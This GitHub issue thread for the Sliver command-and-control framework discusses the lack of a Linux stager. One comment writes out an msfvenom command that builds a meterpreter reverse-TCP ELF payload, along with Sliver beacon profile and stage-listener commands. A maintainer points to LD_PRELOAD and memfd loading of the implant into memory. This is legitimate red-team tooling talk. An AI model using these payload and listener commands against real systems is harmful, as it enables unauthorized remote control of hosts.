Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

How to generate stager on linux? #1734

Open
runt0 opened this issue Jul 4, 2024 · 4 comments
Open

How to generate stager on linux? #1734

runt0 opened this issue Jul 4, 2024 · 4 comments

Comments

@runt0
Copy link

runt0 commented Jul 4, 2024

Hello:
The linux implants is about 13M, I want to generate stager on linux. I have read the doc and generate the stager on windows successfully,but I dont find any info about linux, how can I reduces the size of the payload on linux?

info

[*] Client v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df - linux/amd64
    Compiled at 2024-02-29 03:46:53 +0800 CST
    Compiled with go version go1.20.7 linux/amd64


[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df - linux/amd64
    Compiled at 2024-02-29 03:46:53 +0800 CST

command

generate stager --lhost 127.0.0.1 --lport 8443 --protocol https --save /tmp --format c --os linux

error

[!] Error: rpc error: code = Unknown desc = linux is currently not supported - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH

log

INFO[2024-07-04T10:07:56+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK 
ERRO[2024-07-04T10:09:04+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
ERRO[2024-07-04T10:09:57+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
ERRO[2024-07-04T10:10:41+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
ERRO[2024-07-04T10:15:14+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
ERRO[2024-07-04T10:18:50+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
INFO[2024-07-04T10:24:18+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK 
INFO[2024-07-04T10:25:49+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK 
ERRO[2024-07-04T10:29:42+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
@NoPurposeInLife
Copy link

Same, even after trying with

profiles new beacon --mtls 192.168.12.233:80  -o linux --arch amd64 linux64_profile

stage-listener -u tcp://0.0.0.0:443 -p linux64_profile -P
mtls -L 0.0.0.0 -l 80

And generate the stager via msfvenom

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.12.233 LPORT=443 -f elf -o met123.elf

Executing the stager results in segmentation fault, but tcpdump shows the initial connection, then it segmentation faults after

@moloch--
Copy link
Member

moloch-- commented Jul 8, 2024

We don't have a shellcode/stager version in the framework for Linux, I recommend using LD_PRELOAD and memfd (there's a lot of examples online how to do this) to load over the network directly into memory on Linux.

@NoPurposeInLife
Copy link

Does this mean sliver cannot handle Linux meterpreter shells or linux reverse tcp shells?

@rkervella
Copy link
Member

Sliver is not compatible with meterpreter's Linux stager, no.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants